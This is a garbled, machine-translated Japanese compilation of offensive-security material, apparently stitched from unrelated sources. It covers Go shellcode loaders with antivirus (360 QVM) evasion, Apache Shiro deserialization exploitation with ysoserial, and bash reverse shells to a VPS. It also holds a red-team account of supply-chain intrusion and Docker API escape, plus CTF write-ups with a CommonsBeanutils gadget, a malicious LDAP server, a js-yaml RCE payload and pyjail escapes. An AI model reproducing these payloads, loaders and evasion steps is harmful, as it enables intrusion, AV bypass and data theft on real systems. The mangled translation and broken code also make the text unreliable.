より高いバージョンhttps://github.com/burrowers/garbleに行きます

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

qmor0tz41py2461.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が正常に完了しました

環境を取得:

ミラーをローカルに引っ張ります

$ docker pull medicean/vulapps:s_shiro_1

環境を開始します

$ docker run -d -p 80:8080 Medicean/vulapps:S_shiro_11。 shiro_attack_2.2ツールを使用してターゲットシステムを確認し、デフォルトキーがあるが、使用率チェーンはないことを発見しました

image_ylgMY223mT.png

2。shior_tools.jarを使用して、ターゲットシステムを直接検出します。検出が完了すると、実行可能操作が返されます。

Java -jar Shiro_tool.jar http://10.11.10.10.10833608081/login.jsp

vmd4mlzogw52427.png

2. [0]を選択し、DNSLOGアドレスを入力します。 DNSLOGテストを通じてエコーがあります。メモは次のとおりです。http://dnslog.cn/someサイトを使用すると、複数のdnslogプラットフォームに変更してテストできます。

image_htB_EhwPH9.png

dnslogにはエコーがあります。次に、シェルを取得します。固定思考のために、私は以前にLinuxに遭遇しました。私はそれがLinuxだと思ったが、私はそれをうまく使わなかった。最初は、ファイアウォールの傍受だと思っていました。その後、ディレクトリ構造を検出して、それがWindowsであることがわかったので、ここでペイロードを変更する必要がありました。

3. Ysoserialを使用して、パブリックネットワークVPSでポートを開き、リバウンドコマンドを実行します

Java -CP YSOSERIAL-MASTER-30099844C6-1.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1999 CommonsCollectionS5 'エンコード後のBASHコマンド

teszfudneua2429.png

image_wvD-c4KvV-.png

1049983-20231226000544164-439019386.jpg

ここのエンコードコンテンツはステップ4にあります

ピット1:commonscollection1-5シェルがリバウンドしない場合は、代わりに使用します

4.バッシュリバウンドコマンド編集

https://x.hacking8.com/java-runtime.html//encoded link

次の3種類の実行コマンドが必要に応じて選択されます。

ピット2:ここで実行されたbashコマンドは、最初に相手の実行システムに依存します。 Linxuの場合は、次の3つを試してください。勝っている場合は、Baiduリバウンドコマンドを個別に送信してください。

bash -i/dev/tcp/vpsip/7777 01

/bin/bash -i/dev/tcp/vpsip/7777 01 21

0196; exec 196/dev/tcp/vpsip/7777; SH 196 196 2196

2番目のタイプ、IP:シェルのVPSを受け入れるIPは、ポート:NCを使用して監視を開き、リバウンドするポートです。

/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21

tr1mmaku1md2432.png

Windows:Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 88 COMMONSBEANUTILS2 'LDAP: //VPSアドレス:1389/基本/コマンド/D2HVYW1P'

d2hvyw1pはコマンドのbase64です。ここに実行コマンドwhaamiがあります

Java -jar jndiexploit -1.0 -snapshot.jar -i VPSアドレス

5。NCモニタリング

jsnnlcnbrn02433.png

6.シェルのVPSによって開かれたポートとJava-solserial-jrmplistenerを入力します(ここで1を選択して、Jrmpclientを使用してシェルをリバウンドします)

dtvgbzrtuyc2434.png

7.実行の成功、リバウンドシェル

ta01fpf2ar22435.png

oehbrq3rwby2437.png

0l4rrdafylr2438.png

1。サプライチェーン

長年の攻撃的および防御的な対立の後、多数のターゲットユニットが安全保護の重要性を徐々に実現しました。したがって、彼らは可能な限り資産のエクスポージャーを制約し、さまざまなセキュリティデバイスの展開を2倍にするための措置を講じました。ただし、安全保護は包括性に焦点を当てており、明確な短期的な効果があります。短期的な状況が発生すると、保護システム全体が即座に崩壊する可能性があります。ターゲットユニットのサプライチェーンは、多くの場合、これらの弱点を集中しています。これらのサプライチェーンは暴露されるだけでなく、複雑な関係のためにそれらの監視と管理をより困難にします。したがって、攻撃チームは通常、サプライチェーンから開始し、ターゲットユニットの強力な防御システムを回り道でバイパスし、ターゲットユニットを制御することを選択します。

検索エンジンで「システム名」ターゲットユニットを検索します

image.png

関連するサプライヤー情報を見つけ、サプライヤーを攻撃することにより、ターゲットユニットのデータと許可を取得します。

image.png

1.1、heapdumpリーク

サプライヤー資産を貫通することにより、特定の資産の管理ディレクトリにHeapdumpファイルのリークが見つかったことがわかりました。

image.png

ここでは、Heapdumpの使用について詳しく説明しません。多くの記事は、その原則と利用に関する詳細な研究を実施しています。 RCEは、特定の状況下で直接実行できます。ここには大量の機密情報が漏れており、パスワード情報がパスワードブックに追加されます。

image.png

Minioにログインして、ターゲットユニットに関する大量の機密情報を見つけます。また、他のユニットに関する機密情報もあります。

image.png

NACOSにログインし、多数の構成ファイルを追加し、パスワードブックにパスワード情報を追加してください![]

image.png

OSSにログインして、ターゲットユニットに関する大量の機密情報を発見します

image.png

1.2。 WeChatアプレットインターフェイスは承認されていません

1.2.1。 WeChatアプレットの開梱

WECHATアプレットを開梱する場合、最初に行う必要があるのは、ターゲットアプレットのWXAPKGファイルを取得することです。 WXAPKGファイルは、WeChatアプレットのインストールパッケージファイル形式であり、アプレットのコード、リソース、その他の必要なファイルを別のファイルにパッケージ化するために使用されます。ただし、Windows環境のWXAPKGファイルのJSコードとリソースファイルは一般に暗号化されており、最初に復号化してからファイルの内容を開梱して取得するには、特別に設計された復号化ツールが必要です。開梱は、iOSおよびAndroidプラットフォームで直接実行できます。

1.2.1.1。 wxapkgファイルを取得

WXAPKGファイルを取得する場合、最初にフォルダー内のファイルを削除し、次にアプレットを再開して、他のファイルが干渉しないようにすることをお勧めします。

iOS WXAPKGファイルストレージパスは次のとおりです。

/var/mobile/containers/data/application/{system uuid}/library/wechatprivate/{user hash value}/weapp/localcache/{release/{appid of Applet}

Android WXAPKGファイルストレージパスは次のとおりです。

/data/data/com.tencent.mm/micromsg/{user hash value}/appbrand/pkg/

WINDOWS WXAPKGファイルストレージパスは次のとおりです。

c: \ users \ {system username} \ documents \ wechat files \ applet \ {appid of applet} \

image.png

1.2.1.2。復号化操作

次の2つのGitHubプロジェクトを復号化できます

https://github.com/superdashu/pc_wxapkg_decrypt_python

https://github.com/blacktrace/pc_wxapkg_decrypt

復号化の原則

image.png

正常に復号化されました

image.png

1.2.1.2。操作の開梱

Guoguang Bossが提供するツールダウンロードリンク

https://SQLSEC.LANZOUB.COM/I1NEP0MX694F

ノードwuwxapkg.js 1.wxapkg

image.png

アプレットを開梱し、フロントエンドJSコードを取得し、それから抽出してインターフェイスを取得します

image.png

フロントエンドページには初期化の障害が表示されますが、ターゲットインターフェイスへの直接アクセス

image.png

ただし、トラフィックパケットでデータが取得されており、ターゲットユニットの1,000万近くの機密情報が見つかりました。

image.png

1.3。 Webプログラムは

に到達します

上記のパスワードを通じて、アカウントを作成するためにパスワードがノックアウトされますが、このアカウントには最小許可があり、操作許可はありません。クリックして組織構造を検索すると、現時点では返品情報がありませんimage.png

パッケージをキャッチして、ParentIDとOrglevelを削除してから、パッケージを送信すると、許可なくすべての従業員の組織構造を確認できます。

image.png

クリックしてパスワードを変更し、上記の役割を追加してすべてのアクセス許可を取得します

image.png

多くのデータを取得します

image.png

1.4。公式アカウント

JSリークパスワード、パスワードはターゲットユニットの公式アカウントにヒットする可能性があります

image.png

2。クラウドネイティブセキュリティ

コンテナ化された展開とマイクロサービスアーキテクチャは、アプリケーション開発と展開の柔軟性、スケーラビリティ、保守性、パフォーマンスを向上させます。ますます多くのメーカーが使用しています。新しいアプリケーションでは、コンテナエスケープ、サービス間攻撃、API乱用などの新しい攻撃面が導入されます。攻撃者は、これらの新しいエントリポイントを悪用してアプリケーションとデータを攻撃することができます。クラウドネイティブ環境でのユーザーとサービスの認証と認証を管理することがより複雑になります。多くのアプリケーション開発者は、コンテナ化されたクラウドネイティブアーキテクチャの利便性と効率性を追求する際に、しばしば二次的な位置を見落としたり、配置したりします。これは、クラウドネイティブ環境の脆弱性に直接つながり、さまざまなセキュリティの脅威や攻撃に対して脆弱です。

2.1。ハーバーミラーウェアハウス

ハーバーは、組織がDockerコンテナの画像を保存、管理、配布できるように設計されたオープンソースコンテナ画像リポジトリマネージャーですが、Harborには論争の的となっている「脆弱性」があります。ユーザーはパブリックイメージを直接取得できます。

image.png

画像ファイルを直接プルしてダウンロードし、スクリプトを使用してバッチでダウンロードできます。

image.png

2.2。疑わしいバックドア

画像ファイルを介してJARパッケージを取得し、構成ファイルなどの機密情報を取得し、JARパッケージのクラスファイルを逆コンパイルし、コード監査を実行してバックドアのような脆弱性を取得します。このインターフェイスは、ユーザー名を使用してシステムの背景にログインするだけです。管理者の権限は、ファイルアップロードと組み合わせてサーバーアクセス許可を取得するために使用されます。

image.png

構成ファイルなどを介してデータベースに接続します。

image.png

2.3。 Dockerは許可されていません

2.3.1。レジストリAPI不正アクセス

DockerレジストリAPIでは、認証と承認は通常、アクセストークンまたはユーザー名とパスワードに基づいています。アクセス制御権限が正しく設定されていない場合、不正アクセスの脆弱性が発生します。攻撃者は、レジストリリポジトリのすべてのミラーコンテナを直接ダウンロードできます。

/v2 /_catalogインターフェイスにアクセスして、すべてのリポジトリの内容を表示します

image.png

https://github.com/soufaker/docker_v2_catalog

上記のツールを使用して、ミラーを直接ダウンロードします

2.3.2。 DockerリモートAPI不正アクセス

コンテナクラスターを管理するために、Dockerは、パラメーター-hを使用して、管理インターフェイスを介して送信されたDockerコマンドを背景デーモンとしてデーモンを実行できます。

0.0.0.033602375 Dockerを開始します

デーモンのとき、ポート2375が開かれ、リモートDockerクライアントからコマンドを受信します。この場合、ポート2375は暗号化されていないポートとして公開されており、認証の形態はありません。攻撃者は、Dockerコマンドを使用してDockerに直接接続できます

デーモン、およびコンテナで直接操作を実行し、ルートディレクトリマウントでコンテナエスケープを実現できます。

#viewコンテナ

Docker -H TCP: //Target:2375 PS -A

image.png

#ホストのルートディレクトリをコンテナ内のMNTディレクトリにマウントします

Docker -H TCP3360 //Target:2375 RUN -IT -V/:/MNT NGINX:LATEST/BIN/BASH

#Reboundシェル

Echo 'Bounce Shell Command'/MNT/VAR/SPOOL/CRON/CRONTABS/ROOT

2.4。 NACOS

NACOSは、オープンソースのダイナミックサービスの発見、構成管理、サービス管理プラットフォームです。登録センター、構成センター、サービス管理などの機能を提供し、開発者がマイクロサービスアーキテクチャのサービス登録、構成管理、サービス発見要件を実現するのに役立ちます。

オープンソースツールとして、多くの脆弱性が明らかにされています。

不正アクセス:/nacos/v1/auth/users?pageno=1pagesize=1ユーザーの直接ビュー

ユーザーを追加:post/nacos/v1/auth/users username=password=

ユーザーパスワードの変更:Curl -X Put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken \=' -h 'user -agent3:nacos -server' -d 'username \=test1newpassword \=test2' '

弱いパスワード:NACOS/NACOS

image.png

パスワードをバックグラウンドに爆破するようにスケジュールすることにより、多数の構成ファイルが見つかりましたが、機密情報は暗号化されました

image.png

2.4.1、JASYPT暗号化

データベースパスワードなど、Springの構成ファイルにはいくつかの機密情報があります。そのため、機密情報を暗号化することもあります。 Jasyptは比較的便利なツールです。 JASYPTは、機密データ(パスワード、APIキーなど)の暗号化と復号化操作を簡素化するために使用されるJavaライブラリです。

暗号化されたコンテンツはEnc(.)に同封する必要があり、暗号化されたパスワードはjasypt.encryptor.passwordによって指定されます。

spring:

DataSource:

username: your-username

Password: enc(暗号化されたパスワード)

復号化する必要があるため、パスワードは構成ファイルまたはコードに配置する必要があります。

#application.yml

JASYPT:

encryption:

Password:パスワード

algorithm:暗号化方法

復号化データ:復号化装置の復号化方法を使用して、暗号化されたデータを復号化します。

org.jasypt.util.text.basictextencryptorをインポートします。

パブリッククラスdecryptionexample {

public static void main(string [] args){

string encryptionkey='yourencryptionkey'; //暗号化キー

basictextencryptor textencryptor=new basictextencryptor();

textEncryptor.setPassWord(encryptionKey);

string encryptedText='necryptedText'; //暗号化されたデータ

string decryptedText=textencryptor.decrypt(encryptedText);

system.out.println( 'decrypted text:' + decryptedText);

}

}

ただし、クライアント暗号化のセキュリティは、主にクライアントコードの保護と信頼性に依存します。パスワードが漏れていると、暗号化が自然に失敗します。 ncaosファイルでJasypt暗号化されたパスワードを見つけた場合、直接復号化できます

image.png

OSSに正常に接続されています

image.png

データベースに正常に接続されています

image.png

ミニプログラムトークン、ミニプログラムを引き継ぎます

image.png

Damengデータベースは、国内のリレーショナルデータベースです。次のツールを使用して接続できます。

https://github.com/864381832/x-rdbmssynctool/releases/tag/v0.0.3

3。 nday

3.1。 Yongyounc jsinvoke rce脆弱性

脆弱性エクスプロイトメソッド、java反射メカニズムを介してjavax.naming.initialcontextオブジェクトを作成し、LDAPプロトコルを使用して指定されたIPアドレスとポートに接続します。次に、「nc.itf.iufo.ibasespservice」サービスの「savexstreamconfig」メソッドを呼び出し、オブジェクトと文字列をパラメーターとして受け入れ、コマンド実行の効果を達成します。

コマンドは正常に実行されましたが、ターゲットシステムにはソフトキルがあるため、ファイルを直接アップロードできません

image.png

3.1.1、certutil

Certutilは、Windowsオペレーティングシステムのコマンドラインツールです。主に証明書と暗号化関連の操作を処理するために使用されます。 certutilの復号化操作はバイパスできます。

echo bash64 myfile.jspをエンコードします

image.png

certutilを使用してデコードします

certutil -Decode Trojan相対パスデコードされたトロイの木馬相対パス

image.png

Ice Scorpionはオンラインで、CSが発売されます

image.png

3.2。 2つの

で開く場合

シロの穴が固定され、フロントデスクの情報漏れ脆弱性が見つかりました

image.png

ユーザー名を取得することにより、弱いパスワードを使用して背景、通常のアクセス許可を入力します

image.png

繰り返しになりますが、発表の投稿はパスワードを推測し、背景に正常にログインしました。システム管理権限が追加され、ユーザーには最高の権限が与えられました。

image.png

ユーザーログインを追加し、時限タスク関数を発見し、タイムされたタスクを直接使用してコマンドを実行する

image.png

3.3、shiro

ターゲットパスにアクセスすると、最初に統一された認証ログインにジャンプし、ほとんどの人がパスにシロデリリア化の脆弱性があることを無視します。

image.png

トライスルーメンタリティで、私はシロをスキャンし、直接許可を取得しました。

image.png

元のリンクから転載:https://forum.butian.net/share/2442

web

ai_java

最初に添付ファイルアカウントを介してアカウント番号を取得するimage.png image.png

Base64またはJSFuckを介してJSとCのプロンプトを取得できます。 JSを監査すると、C機能を確認して実行できます。 GitHubプロジェクトアドレスimage.pngを入手してください

送信履歴を見つけるソースコードimage.pngを見つけました

監査ソースコードは、承認なしにspring – bootが存在する可能性があることを発見しましたimage.png

FastJsonの解析は、管理者のページimage.pngの下にある/post_message/interfaceに存在します

image.png

特定のバージョンを確認して、LADPを直接攻撃することは不可能であることがわかります。依存関係を確認してください

ディスカバリーはシロを紹介しました。 SerializedData + LDAP攻撃を使用します。シェルを跳ね返すための依存性CB

パブリッククラスCB {

public static void setFieldValue(オブジェクトOBJ、文字列フィールド名、オブジェクト

t値)スロー例外{

フィールドフィールド=obj.getClass()。getDeclaredField(FieldName);

field.setAccessible(true);

field.set(obj、value);

}

public static Comparator GetValue(オブジェクトインスタンス)がNosuchfielを投げます

DEXCEPTION、ILLEGALACCESSEXCEPTION {

クラス? clazz=instance.getClass();

//プライベート変数のフィールドオブジェクトを取得します

Field Privatefield=clazz.getDeclaredfield( 'instance');

//プライベート変数のアクセス権限を設定します

privatefield.setAccessible(true);

//プライベート変数の値を取得します

オブジェクト値=privatefield.get(instance);

return(Comparator)Value;

}

public static byte [] getPayload()スロー例外{

classpool pool=classpool.getDefault();

ctclass clazz=pool.get(veol.class.getname());

byte [] code=clazz.tobytecode();

templatesimpl obj=new TemplatesImpl();

setFieldValue(obj、 '_bytecodes'、new byte [] [] {code});

SetFieldValue(obj、 '_name'、 'tvt');

setFieldValue(obj、 '_tfactory'、new TransformerFactoryImpl());

最終的なbeancomparator Comparator=new BeanComparator(null、getva

lue(new Headers()));

キューキュー=新しい優先度(2、コンパレータ);

queue.add( '1');

queue.add( '1');

SetFieldValue(Comparator、 'Property'、 'outputProperties');

setFieldValue(queue、 'queue'、new Object [] {obj、obj});

bytearrayoutputStream barr=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(barr);

oos.writeobject(queue);

oos.close();

byte [] bytearray=barr.tobytearray();

string base64EncodedData=base64.getEncoder()。encodetostring(by

Tearray);

System.out.println(base64encodedData);

bytearrayを返します。

}

}

パブリッククラスの悪は抽象的なトランスレットを拡張します{

public void transform(dom var1、serializationhandler [] var2)スロー

transletexception {

}

public void transform(dom var1、dtmaxisiterator var2、serializationh

Andler var3)transletexceptionをスローする{

}

public static void main(string [] args)スロー例外{

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

Public Evil()Throws Exception {

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

}

パブリッククラスldapserialserver {

private static final string ldap_base='dc=example、dc=com';

public static void main(string [] tmp_args){

string [] args=new String [] {'http://127.0.0.1:8000/#邪悪なクラス'};

int port=7777;

試す {

InmeMoryDirectoryServerConfig config=new InmeMoryDirectory

serverconfig(ldap_base);

config.setlistenerconfigs(new inmemorylistenerconfig(

「聞く」、//$ non-nls-1 $

inetaddress.getByname( '0.0.0.0')、//$ non-nls-1 $

ポート、

ServersocketFactory.getDefault()、

socketfactory.getDefault()、

(sslsocketfactory)sslsocketfactory.getDefault()));

config.addinmemoryOperationInterceptor(new OperionsIntercep

tor(new URL(args [0])));

InmemoryDirectoryServer DS=new InmemoryDirectoryServer(con

イチジク);

System.out.println( '0.0.0.03360' +ポートで聞く); //$ non-n

LS-1 $

ds.startlistening();

}

catch(例外e){

e.printstacktrace();

}

}

Private Static Class OperationEnterceptorは、Inmemoryoperationiを拡張します

nterceptor {

プライベートURLコードベース。

Pulily OperysInterceptor(URL CB){

this.codebase=cb;

}

@オーバーライド

public void processSearchResult(inmemoryInterceptedSearchResul

結果の結果){

string base=result.getRequest()。getBasedN();

エントリe=new entry(base);

試す {

sendResult(result、base、e);

}

catch(例外E1){

e1.printstacktrace();

}

}

保護されたvoid sendResult(inmemoryinterceptedsearchResult resu

LT、文字列ベース、エントリe)例外をスローする{

system.out.println( '' + base +のLDAP参照結果を送信します

「CBガジェットを返します」);

e.Addattribute( 'Javaclassname'、 'Deserpayload'); //$ non-nls-

1 $

string base64EncodedData='ro0abxnyabdqyxzhlnv0awwuhjpb3jp

dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n

vbxbhcmf0b3i7ehaaaaacc3iak29yzy5hcgfjaguuy29tbw9ucy5izwfudxrpbhmuqmvhbk

nvbxbhcmf0b3ljoyjqcykksaiaakwacmnvbxbhcmf0b3jxah4aauwachbyb3blcnr5daast

GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLNN1BI54BWWUAW50ZXJUYWWUD3MUDHJHBNNW

b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb

1dfbyb3blcnrpzxn3baaaaanzcga6y29tlnn1bi5vcmcuyxbhy2hllnhhbgfulmludgvybm

fslnhzbhrjlnryyxguvgvtcgxhdgvzsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc

KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJBJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2

ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz

hl3v0awwvuhjvcgvydgllczt4caaaad /////dxiaa1tbqkv9grvnz9s3agaaeaaabdx

iaaltcrpmx+ayivoacaab4caaabink/rq+aaaana1cgaiacmiacqkaciajqoajgancgaha

CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL

CM5HBC94C2X0Y9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML

hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym

xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl

3N1BI9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAR2YXIYAQBCW0XJ

B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZIVU2VYAWFSAXPHDGL

vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbg

ful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hb

C9KDG0VRFRNQXHPC0L0ZXJHDG9YO0XJB20VC3VUL9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLC

mlhbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybadvmy29tl3n1bi9vcmcvyxbhy2hl

L3HTBC9PBNRLCM5HBC9KDG0VRFRNQXHPC0L0ZXJHDG9YOWEABHZHCJMBAEFMY29TL3N1BI9

vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg

vyoweabg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy

w5nl1n0cmluzzshacwbaay8ay8aw5pdd4baamokvaypaptb3vyy2vgawxlaqajzxzzpbc5qyxzh

bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawfl2zedod0x6utn

makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw

l9daawadehadimadmanawahgafazxzzpbaeaqgnvbs9zdw4v3jnl2fwywnozs94ywxhb

i9pbnrlcm5hbc94c2x0y9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y

zy9hcgfjaguvegfsyw4vaw50zxjuywwvehhnsdgmvhjhbnnszxrfegnlchrpb24babnqyxz

hl2xhbmcvrxhjzxb0aw9uaqaramf2ys9syw5nl1j1bnrpbwubaapnzxrsdw50aw1laqavkc

lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd

mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfhewxvywqbaaqokvtcaceabgahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

adgaaaaaaaaqapabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaCgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE

QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA

A1E4AARXSQAAAAIAACWAAAA4AAWAABEACQASAA0AEWAMAAABAAADGABABWAAAAAAAA

abaabab0aaqaeab8aagakaaaaaaaaaaaaaaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

maaaauaaqafqanabyadaaaaawaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaadayaaaaaaaaaaaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaada

An0dnrwdweaeheafganea==';

e.Addattribute( 'JavaserializedData'、base64.getDecoder()。12月

ode(base64encodedData));

result.sendsearchentry(e);

result.setResult(new ldapresult(0、resultCode.success));

}

}

}

CBを使用してBase64をエンコードし、直接呼び出さないでください。 JARパッケージの場合、内部APIエラーを防ぎます。ローカルでは、CVE-2022-22978を使用してアイデンティティ認証をバイパスし、FastJSONのキャッシュバイパスを使用し、JNDIインジェクションを実装します

開始。image.png image.png image.png

信号

まず、この質問は、他のファイル形式をyaml形式に変換し、yaml.load()がJSオブジェクトとしてロードされるためです。 GithubでJS-Yamlドキュメントの説明を見つけ、オブジェクトを解析する方法、公式Webサイトにも例を挙げてください。ここでは、それが何を解析できるかを直接調べます。image.png

発見可能な分析方法image.png

JS-YAMLバージョンは3.14.1ですが、新しいバージョンの提出と比較して

https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c

これは、デフォルトの危険モードの最後のバージョンであり、タグを使用して任意のJS関数を構築できます。 js/function image.png

次に、テンプレートレンダリング場所で、オブジェクトのトストリング方法が自動的に呼び出されます

したがって、次のペイロードとしてファイルyamlファイルコンテンツをアップロードするだけです

'name' : {toString: js /function 'function(){flag=mainmodule.require(' child_process ')。execsync(' cat /fla*')。tostring();フラグを返します;} '}

swagger docs

1。インターフェイスドキュメントを読んで、ウェブサイト機能を把握する

2.ユーザーを登録します

http://47.108.206.43:40476/API-Base/V0/Register

{'username':'admin'、 'password':'admin'}

3。ログインします

http://47.108.206.43:40476/api-base/v0/login

{'username':'admin'、 'password':'admin'}

4.任意のファイルを読み取ります

テストでは、ファイルの読み取りが/api-base/v0/searchインターフェイスに存在することがわかりました

プロセスを読んでください

http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlineType=テキスト

ソースコードの場所を読んでください

http://47.108.206.43:40476/api-base/v0/search?file=././././app/run.shtype=text

ソースコードを読んでください

5。コード監査

image.png

/api-base/v0/searchにはrender_template_string()があることがわかりました。これにより、STIがRCEを引き起こす可能性があり、レンダリングコンテンツのみを制御する必要があります。

UAPATE()関数にはプロトタイプチェーンに似た汚染があり、環境を変更するために使用できます。

Misc

easyfuzz

1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111

1049983-20231220102232383-2117306380.jpgは大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。

1049983-20231220102232956-1570359645.png

2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です

1049983-20231220102233640-77832507.png3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです

PWNインポートから *

文字列インポートから印刷可能

conn=remote( '101.200.122.251'、12199)

non_matching_strings=[]

範囲のIの場合(9):

Printable:のcharの場合

ペイロード='A'*i + char + 'a'*(8-i)

print(conn.recvuntil(b'enter a string(10バイト未満): '))

conn.sendline(payload.encode())

response=conn.recvline()。decode()。strip()

応答!='ここにコードカバレッジ: 110000000':があります

non_matching_strings.append(ペイロード)

non_matching_strings:の文字列の場合

印刷(文字列)

フラグ:qwb {youknowhowtofuzz!}

サインイン

フラグ{welcome_to_qwb_2023}

pyjail!それはmyfilter !!!

です

Pythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する

{13212} '+(print(open('/proc/1/Environ ')。read())+'

または、payload:を使用します

{print(open( '/proc/1/Environ')。read())}

1049983-20231220102234429-840188246.jpg 1049983-20231220102235091-904152452.jpgFLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}

pyjail!それはmyRevenge !!!

です

Pythonサンドボックスエスケープ

ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する

すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています

